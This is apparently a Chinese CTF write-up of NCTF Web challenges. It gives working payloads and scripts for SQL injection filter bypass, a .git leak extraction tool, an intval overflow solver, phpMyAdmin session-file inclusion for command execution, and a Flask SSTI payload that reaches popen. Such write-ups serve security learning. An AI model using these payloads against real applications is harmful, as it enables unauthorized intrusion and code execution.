Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

NCTF Web wp

前言

近期刚刚打完NCTF,成绩还算理想,虽然我们打了校内第二,总榜第七,但是赛后发现了很多问题,借此复盘一下这次的比赛。(Web题12道只做出了七道题目,赛后做了一道,实力还是欠缺一点)

签到题

抓包,得到flag.

滴!晨跑打卡

很明显这是一道注入题,抓包爆破测试一下过滤的字符发现空格,–,#,*等被过滤了,使用连接词测试一下语句构成:

1
1'or'1'='1

发现正常回显,可以判断大概是’ $_POST[\’XXX\’] ‘这种类型,空格可以使用%0b绕过,注释被过滤我们只要拼接语句让其正常查询不报错就行了,所以大致可以构造payload:

1
1'union%0bselect%0b1,2,3%0b'

可以看到回显位:

接着按照套路查询就行了,最后一步注意要标记是哪个数据库:

得到flag.

Go Lakers

这题一开始套路和签到题一样,得抓包,拉到最下面发现这样一句话:

按照要求post viewsource=1得到源码:

这里我当时做的时候掉进陷阱了,我以为要绕过所有的条件才能利用file_get_contents()得到源码,这里只用传入加密后的file_参数就能输出源码了,这里分享绕过的方式吧。

1
2
3
4
5
6

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';
}

第一个条件可以使用XFF: 127.0.0.1来绕过,但是会有个提示:

使用Client-IP就行了,第二个使用php://input协议传入字符就行,第三个我们可以使用多线程爆破,毕竟只有10000个数据。接下来就是加密函数了,按照解密函数写就行了:

1
2
3
4
5
6
7
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}
return base64_encode($result)
}

直接读flag.php就能得到flag.

全球最大交友网站

题目就给了一个很直接的提示,猜测应该是.git泄露,测试果然发现没错:

使用Githack脚本跑一下只能跑出一个README.md,打开发现了这样一句话:

1
Allsource files are in git tag1.0

emmm,这就能联想这一篇文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
题目思路也很简单,就是让我们提取出源码就能得到flag了,具体原理可以看上面离别歌大师傅这篇文章,这里不讲太详细。
首先我们访问commit的一个“链接”:

1
http://ctfgame.acdxvfsvd.net:20003/.git/refs/tags/1.0

得到一串字符串,按照.git文件生成原理,我们访问:

1
http://ctfgame.acdxvfsvd.net:20003/.git/objects/01/b878ee5f39810a02f06b4a560571413020ea42

得到一个文件,通过对这个文件进行zlib解压发现了这个文件指向了两个文件:

emmm,这里说下原理,我们就根据这两个字符串,按照刚刚的方法得到下一个文件,zlib解压,对文件的头进行判断,重复过程最终得到最初的文件,最后下载的文件我们没办法zlib解压,可以通过git cat-file xxxxx得到最终文件。这里贴个离别歌改过的脚本,我写了个注释有利于标识该改哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
import requests
import os
import zlib
import re
import Queue
import binascii

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)"
" Gecko/20100101 Firefox/46.0"
}#改头
target = "http://ctfgame.acdxvfsvd.net:20003/.git/" #地址
output_folder = "./n1ctf/" #储存文件的目录

class GitDdatabase(object):
def __init__(self, data):
self.data = data
self.pos = 0

def read_to_next_char(self, char=" "):
pos = self.data.index(char, self.pos)
ret = self.read_exact(pos)
self.pos += 1
return ret

def read_exact(self, size):
ret = self.data[self.pos:size]
self.pos = size
return ret

def read_blob(self):
return re.sub('^blob \d+?\00', '', self.data)

def read_tree(self):
mode = self.read_to_next_char(" ")
filename = self.read_to_next_char("\x00")
sha1 = self.read_exact(self.pos + 20)
return mode, filename, sha1

def get_db_type(self):
file_sort = self.read_to_next_char(" ")
file_size = self.read_to_next_char("\x00")
file_size = int(file_size)
return file_sort, file_size

def request_object(id):
global target
folder = 'objects/%s/' % id[:2]
response = requests.get(target + folder + id[2:])
if response.status_code == 200:
return zlib.decompress(response.content)
else:
return False

if __name__ == "__main__":
response = requests.get(target + "refs/tags/1.0", headers=headers)
if response.status_code == 404:
print("No this tag")
sys.exit(0)
data = response.content
commit_id = data.strip()

next_id = commit_id ##可以更改要找的目录的值,即可查找出其目录下的源码
print next_id
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

rex = re.search(ur"commit .*?([a-f0-9]{40})", data)
next_id = rex.group(1)
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

tasks = Queue.Queue()
gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
basedir = "./"
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break

while 1:
if tasks.empty():
break
(mode, filename, sha1, basedir) = tasks.get()
sha1 = binascii.b2a_hex(sha1)
data = request_object(sha1)
if not data:
continue

gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
if file_sort == "tree":
basedir = os.path.join(basedir, filename)
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break
elif file_sort == "blob":
data = gd.read_blob()
folder = os.path.join(output_folder, basedir)
if not os.path.exists(folder):
os.makedirs(folder)
filename = os.path.join(folder, filename)
with open(filename, "wb") as f:
f.write(data)
print("[+] Write {filename} success".format(filename=filename))

最后可以得到两个flag,一真一假自己尝试。

小绿草之最强大脑

这个单纯就是考脚本能力了,题目有个提示:告诉我们有源码泄露,访问index.php.bak得到源码:

里面关键点就在于intval()这个函数,这个函数在处理太过于大的数字的时候会出现漏洞,虽然说可以防止整数溢出漏洞,但是通过这样计算出的值就会出现bug。
通过本地测试,测试出在数字足够大时,intval()一直为2147483647,如图:

但是在服务器上测试值却为9223372036854775807:

最后测试也是9223372036854775807没错,所以脚本如下(记得使用session,以及time.sleep函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf-8
import requests
import time
def cal(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
return eval(calstr)
def test(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
calstr = calstr.replace("=", "")
if "e" in calstr:
calstr = calstr.replace("e", "")
if "v" in calstr:
calstr = calstr.replace("v", "")
print calstr
url = "http://ctfgame.acdxvfsvd.net:20004/"
s = requests.session()
re = s.get(url)
content = re.content
count = cal(content)
time.sleep(1)
res = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count + 9223372036854775807})
count1 = cal(res.content)
time.sleep(1)
res1 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count1 + 9223372036854775807})
count2 = cal(res1.content)
time.sleep(1)
res2 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count2 + 9223372036854775807})
count3 = cal(res2.content)
time.sleep(1)
res3 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count3 + 9223372036854775807})
count4 = cal(res3.content)
time.sleep(1)
res4 = s.post(url,data={"input":12345678987654345678900987634535353454351432534543645,"ans":count4 + 9223372036854775807})
print res4.content

五次之后得到flag.

基本操作

这题目当时卡死是因为没意识到guest/guest账号的存在,亏我还用50000条弱密码在爆破root密码,欸,要不然是可以做出来的。
首先可以查看下info.php,里面有一些最基本的信息。
使用guest/guest登入,发现这个东西:

这东西写在这摆明了说来日我啊,这个可以联想到之前Chamd5爆出的这个漏洞:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF/jxV/9/cEb5pShRgewJe/ttJn2gIlIyGF/bsgGmzcbsV%2bLmMK#rd
具体源码分析可以看这一篇文章,接着利用点就很清晰了,我们只要把命令写进本地文件,然后通过本地文件包含执行命令就能拿到flag。这里我们可以利用session文件,session文件会记录当前cookies用户的操作,我们只要执行一个包含了命令的操作就行了。接下来就很简单了。
首先我们记录下现在cookies中phpmyadmin的值,为:

1
ft262cg8vj2v0r8feei75nlveojcmu32

通过执行查询操作,把我们的命令写入本地文件:

写入成功利用本地文件包含漏洞执行命令,session文件默认保存在/tmp/sess_你的sessionid下:

可以看到命令成功执行了,接着读取根目录文件,发现下面有个nctfffffffff文件,读取得到flag:

flask真香

这看题目第一反应就是ssti,进去一测试,果不其然:

接着测试发现config,items,for,mro等等都被过滤了,但是有个特点,在我测试双写绕过时发现了这貌似是个贪婪模式,没办法进行绕过,但是前段时间Tykyo里面有道题目是把config置换为了none了,我在想会不会这里也是一样的,接着测试,发现了果然是这样:

接着普及几个魔术方法,这些都是用来找类调用所使用的方法:

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

首先找到object类:

查看有啥可利用的子类:

emmmm,在357位置找到了了一个warnings,这下面是可以调用os模块的,接着调出可以执行命令的函数popen就可以读取文件了,payload如下:

1
{{''.__claconfigss__.__baconfigse__.__subclaconfigsses__()[357]()._module.__buiconfigltins__['__imconfigport__']('oconfigs').poconfigpen('ls -a').read()}}

在根目录下发现了Th1s__is_S3cret文件,读取文件就能得到flag.

Funny_Emoji I

这题目特别有意思,里面表情包可好玩了!
打开链接,发现有个emoji功能,但是需要登入,既然有注册页面那就先注册,进去emoji功能界面:

发现我们可以选择图片,下面有个文本框可以任意输入,点击旁边的按钮就能得到表情包。不过在查看页面源代码的时候发现了这样一点:

这会远程加载一个文件,我们可以访问一下,尝试更改参数发现了,image.php会根据我们传入的name参数改变图片样式。
接着没啥思路了…..不过刚刚查看源码的时候,发现了一段js混淆加密的代码,解码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function encccccrypt(s) {
flag = '';
for (i = 0; i < s.length; i++) {
flag += String.fromCharCode(s.charCodeAt(i) ^ key.charCodeAt(i % key.length))
}
return btoa(flag)
}
var key = 'nctf23333';

function hold_data(s) {
return s.replace('\n', '%0a')
}
var enccccrypt = atob;

function get_images() {
var s = document.getElementById('sel');
var i = document.getElementById('ima');
var index = s.selectedIndex;
i.src = "images/" + s.options[index].value + ".jpg"
}

function get_my_image() {
var s = document.getElementById('sel');
var i = document.getElementById('ima2');
var t = document.getElementById('text');
var index = s.selectedIndex;
var im_name = s.options[index].value;
var im_text = t.value;
var ptl = encccccrypt(enccccrypt("ZGF0YTovL3RleHQvcGxhaW4s"));
var data = hold_data(im_text);
i.src = "image.php?name=" + im_name + "&data=" + data + "&ptl=" + ptl
}

先把里面可疑一段base64解码,发现:

emmmm,这貌似可以通过data协议写入shell。按照它加密的方式我们尝试这样的payload:

1
data://text/plain,<?php phpinfo(); ?>

但是回显不太对:

按照原来的字符输出了,这里让我想到一篇文章,说的是如果使用file_put_contents()函数测试,那么会按照原来的字符串输出,所以尝试读一下flag.php,因为data参数的值是接在ptl参数后的,所以data参数不传值,flag到手:

本站总访问量